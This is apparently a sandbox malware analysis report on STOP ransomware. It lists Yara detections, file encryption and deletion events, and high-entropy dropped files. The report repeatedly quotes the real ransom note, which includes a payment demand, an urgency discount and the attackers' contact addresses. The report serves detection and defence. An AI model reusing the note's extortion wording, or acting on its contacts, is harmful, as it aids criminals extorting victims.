Source: Yara match	File source: 15.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22915a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22115a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2641348272.000000000075B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1699561584.0000000002200000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1512737125.0000000002390000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1543769682.0000000002210000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.1619016276.0000000002290000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2639768235.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1710942634.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1631819718.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2648498274.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7328, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7636, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7852, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7996, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 8156, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 4912, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 7224, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe PID: 1152, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File moved: C:\Users\user\Desktop\IPKGELNTQY.docx	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File deleted: C:\Users\user\Desktop\IPKGELNTQY.docx	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File moved: C:\Users\user\Desktop\SFPUSAFIOL\LSBIHQFDVT.jpg	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File deleted: C:\Users\user\Desktop\SFPUSAFIOL\LSBIHQFDVT.jpg	Jump to behavior
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File moved: C:\Users\user\Desktop\IPKGELNTQY\LSBIHQFDVT.xlsx	Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File dropped: C:\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-0s984cq4b3price of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@sysmail.chreserve e-mail address to contact us:supportsys@airmail.ccyour personal id:0430jijdmi0fxruhvihm5xsi9icg243ympjqd748ocimkyjt1	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File dropped: C:\$WinREAgent\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-0s984cq4b3price of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@sysmail.chreserve e-mail address to contact us:supportsys@airmail.ccyour personal id:0430jijdmi0fxruhvihm5xsi9icg243ympjqd748ocimkyjt1	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File dropped: C:\$WinREAgent\Scratch\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-0s984cq4b3price of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@sysmail.chreserve e-mail address to contact us:supportsys@airmail.ccyour personal id:0430jijdmi0fxruhvihm5xsi9icg243ympjqd748ocimkyjt1	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File dropped: C:\Users\user\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-0s984cq4b3price of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@sysmail.chreserve e-mail address to contact us:supportsys@airmail.ccyour personal id:0430jijdmi0fxruhvihm5xsi9icg243ympjqd748ocimkyjt1	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File dropped: C:\Users\jones\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-0s984cq4b3price of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@sysmail.chreserve e-mail address to contact us:supportsys@airmail.ccyour personal id:0430jijdmi0fxruhvihm5xsi9icg243ympjqd748ocimkyjt1	Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1258.log entropy: 7.99522041964	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1258c.log entropy: 7.99812160104	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\AppData\Local\Temp\DESKTOP-AGET0TR-20231003-1309.log entropy: 7.99873356167	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-0929a.log entropy: 7.99659186746	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-0929b.log entropy: 7.99835465992	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\AppData\Local\Temp\DESKTOP-AGET0TR-20231004-1000.log entropy: 7.99605663506	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\AppData\Local\Temp\jusched.log entropy: 7.99529605522	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\AppData\Local\Temp\msedge_installer.log entropy: 7.99167870764	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\AppData\Local\Temp\offline.session64 entropy: 7.99730602974	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\AppData\Local\IconCache.db entropy: 7.99310664232	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db-shm entropy: 7.99406238943	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db-wal entropy: 7.99617358244	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db.session64 entropy: 7.99736333255	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\AppData\Local\Temp\chrome.exe entropy: 7.99866044106	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231005-1020.log entropy: 7.99528814175	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231005-1021.log entropy: 7.99834205853	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\AppData\Local\Temp\offline.session64 entropy: 7.9968678493	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db entropy: 7.99173458324	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db.session64 entropy: 7.99735000595	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\Local Settings\IconCache.db.wdlo (copy) entropy: 7.99310664232	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db-shm.wdlo (copy) entropy: 7.99406238943	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db-wal.wdlo (copy) entropy: 7.99617358244	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db.session64.wdlo (copy) entropy: 7.99736333255	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\Local Settings\Temp\chrome.exe.wdlo (copy) entropy: 7.99866044106	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231005-1020.log.wdlo (copy) entropy: 7.99528814175	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231005-1021.log.wdlo (copy) entropy: 7.99834205853	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\Local Settings\Temp\offline.session64.wdlo (copy) entropy: 7.9968678493	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\Local Settings\Temp\wct1451.tmp.wdlo (copy) entropy: 7.99761068433	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\Local Settings\Temp\wct3DC0.tmp.wdlo (copy) entropy: 7.99704724215	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\Local Settings\Temp\wct4E00.tmp.wdlo (copy) entropy: 7.99731371154	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\user\Local Settings\Temp\wctD87E.tmp.wdlo (copy) entropy: 7.99745246648	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db.wdlo (copy) entropy: 7.99173458324	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db.session64.wdlo (copy) entropy: 7.99735000595	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1258.log.wdlo (copy) entropy: 7.99522041964	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1258c.log.wdlo (copy) entropy: 7.99812160104	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1309.log.wdlo (copy) entropy: 7.99873356167	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\Local Settings\Temp\DESKTOP-AGET0TR-20231004-0929a.log.wdlo (copy) entropy: 7.99659186746	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\Local Settings\Temp\DESKTOP-AGET0TR-20231004-0929b.log.wdlo (copy) entropy: 7.99835465992	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1000.log.wdlo (copy) entropy: 7.99605663506	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\Local Settings\Temp\jusched.log.wdlo (copy) entropy: 7.99529605522	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\Local Settings\Temp\msedge_installer.log.wdlo (copy) entropy: 7.99167870764	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\Local Settings\Temp\offline.session64.wdlo (copy) entropy: 7.99730602974	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\Local Settings\Temp\wct150C.tmp.wdlo (copy) entropy: 7.99788774549	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\Local Settings\Temp\wct38F0.tmp.wdlo (copy) entropy: 7.99740506874	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\Local Settings\Temp\wct49A7.tmp.wdlo (copy) entropy: 7.99689039036	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\Local Settings\Temp\wctAB5F.tmp.wdlo (copy) entropy: 7.99732173104	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\Local Settings\Temp\wctDB2E.tmp.wdlo (copy) entropy: 7.99742896692	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\Local Settings\Temp\wctE4A4.tmp.wdlo (copy) entropy: 7.99727383723	Jump to dropped file
Source: C:\Users\user\Desktop\FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	File created: C:\Users\jones\Local Settings\Temp\wctEA40.tmp.wdlo (copy) entropy: 7.997566866	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 19.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 19.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.23915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.23915a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 13.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 13.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22a15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22a15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22115a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.23915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.23915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22015a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22015a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 17.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 17.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 13.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 13.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 19.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 19.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 15.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 15.2.FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe.22915a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
